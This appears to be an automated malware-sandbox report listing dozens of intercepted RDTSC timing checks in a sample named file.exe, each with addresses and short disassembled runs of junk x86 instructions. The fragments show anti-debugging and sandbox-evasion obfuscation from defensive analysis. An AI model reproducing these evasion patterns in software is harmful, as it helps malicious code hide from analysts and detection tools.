Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2970B second address: E29720 instructions: 0x00000000 rdtsc 0x00000002 js 00007F52D87EB82Eh 0x00000008 pushad 0x00000009 push esi 0x0000000a pop esi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E28FC3 second address: E28FCC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E28FCC second address: E28FD2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E30157 second address: E3015B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E30249 second address: E30292 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F52D87EB838h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d push edx 0x0000000e push edx 0x0000000f jo 00007F52D87EB826h 0x00000015 pop edx 0x00000016 pop edx 0x00000017 mov eax, dword ptr [eax] 0x00000019 jmp 00007F52D87EB834h 0x0000001e mov dword ptr [esp+04h], eax 0x00000022 pushad 0x00000023 push eax 0x00000024 push edx 0x00000025 pushad 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E33E14 second address: E33E1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E344E1 second address: E34514 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F52D87EB82Ch 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e push esi 0x0000000f pop esi 0x00000010 popad 0x00000011 jnc 00007F52D87EB832h 0x00000017 popad 0x00000018 pushad 0x00000019 pushad 0x0000001a push edi 0x0000001b pop edi 0x0000001c push edi 0x0000001d pop edi 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E34514 second address: E3451E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3451E second address: E34535 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F52D87EB82Ch 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3469B second address: E3469F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3469F second address: E346B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F52D87EB82Eh 0x0000000b push eax 0x0000000c push edx 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E346B7 second address: E346C4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 push edi 0x0000000a pop edi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E34998 second address: E3499F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3499F second address: E349B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 jo 00007F52D91A3356h 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E349B3 second address: E349B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E349B7 second address: E349C8 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F52D91A3356h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E34F32 second address: E34F38 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E34F38 second address: E34F3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E37C8B second address: E37C90 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E37C90 second address: E37C9C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F52D91A3356h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3C5B7 second address: E3C5BD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3C85D second address: E3C863 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3C863 second address: E3C86B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3C86B second address: E3C873 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3C873 second address: E3C881 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pushad 0x00000007 popad 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a popad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3C881 second address: E3C887 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3C887 second address: E3C899 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007F52D87EB82Ah 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3C899 second address: E3C8AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F52D91A335Ch 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3BFF1 second address: E3BFF7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3CCC3 second address: E3CCCF instructions: 0x00000000 rdtsc 0x00000002 jc 00007F52D91A335Eh 0x00000008 push edi 0x00000009 pop edi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3CE53 second address: E3CE82 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F52D87EB833h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push esi 0x0000000a ja 00007F52D87EB826h 0x00000010 jp 00007F52D87EB826h 0x00000016 pop esi 0x00000017 popad 0x00000018 jnp 00007F52D87EB859h 0x0000001e pushad 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3CE82 second address: E3CE88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3CE88 second address: E3CE94 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F52D87EB826h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3CE94 second address: E3CEAC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F52D91A3361h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3CFFC second address: E3D001 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3D001 second address: E3D007 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3EDCE second address: E3EDD8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F52D87EB826h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4453D second address: E44557 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b jmp 00007F52D91A335Fh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E44817 second address: E4481B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4481B second address: E44825 instructions: 0x00000000 rdtsc 0x00000002 je 00007F52D91A3362h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E44963 second address: E4497B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 jmp 00007F52D87EB831h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E44AB6 second address: E44ABA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E44ABA second address: E44AC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E44AC0 second address: E44ADA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F52D91A3363h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E44C2B second address: E44C3C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F52D87EB82Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E44C3C second address: E44C68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 jmp 00007F52D91A3361h 0x0000000b popad 0x0000000c jbe 00007F52D91A3368h 0x00000012 jmp 00007F52D91A335Ch 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4540F second address: E45414 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E45414 second address: E4543A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F52D91A3364h 0x0000000c jmp 00007F52D91A335Bh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4543A second address: E4543E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4D557 second address: E4D55B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4C34E second address: E4C35D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jno 00007F52D87EB826h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4C35D second address: E4C369 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F52D91A3356h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4C369 second address: E4C36E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4C36E second address: E4C373 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4C373 second address: E4C39B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jmp 00007F52D87EB833h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jnc 00007F52D87EB82Ch 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4C39B second address: E4C3A2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E00D33 second address: E00D38 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E00E25 second address: E00E2E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E00F8A second address: E00FB0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F52D87EB837h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop esi 0x0000000a push eax 0x0000000b pushad 0x0000000c jg 00007F52D87EB82Ch 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E00FB0 second address: E00FD5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F52D91A3362h 0x00000009 popad 0x0000000a xchg eax, esi 0x0000000b mov ecx, edx 0x0000000d nop 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 jg 00007F52D91A3356h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E00FD5 second address: E00FE5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F52D87EB82Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E00FE5 second address: E01008 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F52D91A3358h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jl 00007F52D91A3364h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E010D5 second address: E010EE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F52D87EB834h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E010EE second address: E01114 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e jmp 00007F52D91A3361h 0x00000013 jng 00007F52D91A3356h 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E01114 second address: E0112D instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007F52D87EB82Ch 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [eax] 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 pop eax 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0112D second address: E01131 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E01131 second address: E0114B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F52D87EB82Dh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E012F8 second address: E012FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0176D second address: E01771 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E01887 second address: E0188D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E01ABD second address: E01AFD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 js 00007F52D87EB826h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov dword ptr [esp], eax 0x00000011 push esi 0x00000012 jmp 00007F52D87EB830h 0x00000017 pop ecx 0x00000018 lea eax, dword ptr [ebp+124844ABh] 0x0000001e add dword ptr [ebp+122D19D6h], edx 0x00000024 mov dword ptr [ebp+122D2FEEh], ebx 0x0000002a push eax 0x0000002b push eax 0x0000002c push edx 0x0000002d jc 00007F52D87EB828h 0x00000033 push eax 0x00000034 pop eax 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4C6AA second address: E4C6D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ecx 0x00000006 jo 00007F52D91A338Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F52D91A3368h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4C990 second address: E4C995 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4CF90 second address: E4CF98 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4D11F second address: E4D12B instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F52D87EB826h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4D12B second address: E4D13C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F52D91A335Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4D13C second address: E4D142 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5074D second address: E50753 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E50753 second address: E5075F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E502C3 second address: E50301 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push esi 0x00000004 pop esi 0x00000005 je 00007F52D91A3356h 0x0000000b pop edi 0x0000000c jmp 00007F52D91A335Fh 0x00000011 pop edx 0x00000012 pop eax 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 jmp 00007F52D91A335Fh 0x0000001b jmp 00007F52D91A335Dh 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E50301 second address: E50307 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E50307 second address: E5030C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5030C second address: E50320 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 jne 00007F52D87EB826h 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E53074 second address: E5308A instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F52D91A335Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E53202 second address: E5320A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5320A second address: E5320E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5320E second address: E53228 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F52D87EB836h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E533A1 second address: E533D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jmp 00007F52D91A335Ah 0x0000000a pop edx 0x0000000b pushad 0x0000000c pushad 0x0000000d push edi 0x0000000e pop edi 0x0000000f jmp 00007F52D91A335Eh 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F52D91A335Ch 0x0000001c pushad 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5C414 second address: E5C41E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F52D87EB826h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5C41E second address: E5C422 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5C422 second address: E5C428 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5C428 second address: E5C42D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5ADEF second address: E5ADFE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jbe 00007F52D87EB830h 0x0000000c push esi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5AF5C second address: E5AF67 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F52D91A3356h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5AF67 second address: E5AF6C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5B371 second address: E5B39A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jng 00007F52D91A3356h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop eax 0x0000000d pushad 0x0000000e jmp 00007F52D91A3367h 0x00000013 push eax 0x00000014 push edx 0x00000015 push edx 0x00000016 pop edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5B4D2 second address: E5B4E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 jo 00007F52D87EB82Eh 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5B61F second address: E5B625 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
